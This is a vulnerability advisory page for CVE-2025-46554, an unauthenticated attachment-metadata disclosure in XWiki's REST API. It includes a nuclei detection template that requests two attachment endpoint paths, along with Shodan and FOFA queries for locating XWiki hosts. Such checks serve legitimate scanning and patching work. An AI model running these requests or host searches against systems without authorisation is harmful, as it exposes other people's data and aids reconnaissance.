XWiki REST API - Attachments Disclosure

highseverity

7.5CVSS score

1.1%likelihood of exploitation, next 30 days

65%of all CVEs are less likely

Readycheck to confirm it

A vulnerability in XWiki's REST API allows unauthenticated users to access attachments list and metadata through the attachments endpoint. This could lead to disclosure of sensitive information stored in attachments metadata.

Impact

Unauthenticated users can access attachment lists and metadata through the REST API attachments endpoint, potentially exposing sensitive information.

Fix

Upgrade to the latest XWiki version that implements proper authorization checks for the attachments REST API endpoint.

How to confirm it

Send: GET {{BaseURL}}/{{path}}
Positive when: status_code == 200 and contains_any(header, 'text/xml', 'text/javascript') and contains_all(body, '<attachments', '<item', '<longSize')

Run it with nuclei: nuclei -id CVE-2025-46554 -u <target>

The full check

id: CVE-2025-46554

info:
  name: XWiki REST API - Attachments Disclosure
  author: ritikchaddha
  severity: high
  description: |
    A vulnerability in XWiki's REST API allows unauthenticated users to access attachments list and metadata through the attachments endpoint. This could lead to disclosure of sensitive information stored in attachments metadata.
  impact: |
    Unauthenticated users can access attachment lists and metadata through the REST API attachments endpoint, potentially exposing sensitive information.
  remediation: |
    Upgrade to the latest XWiki version that implements proper authorization checks for the attachments REST API endpoint.
  reference:
    - https://jira.xwiki.org/browse/XWIKI-22424
    - https://nvd.nist.gov/vuln/detail/CVE-2025-46554
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-285
    cpe: cpe:2.3:a:xwiki:xwiki:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    verified: true
    vendor: xwiki
    product: xwiki
    shodan-query: html:"data-xwiki-reference"
    fofa-query: body="data-xwiki-reference"
  tags: cve,cve2025,xwiki,rest-api,exposure,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/{{path}}"

    payloads:
      path:
        - "rest/wikis/xwiki/spaces/Sandbox/pages/WebHome/attachments"
        - "xwiki/rest/wikis/xwiki/spaces/Sandbox/pages/WebHome/attachments"

    stop-at-first-match: true
    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - "contains_any(header, 'text/xml', 'text/javascript')"
          - "contains_all(body, '<attachments', '<item', '<longSize')"
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from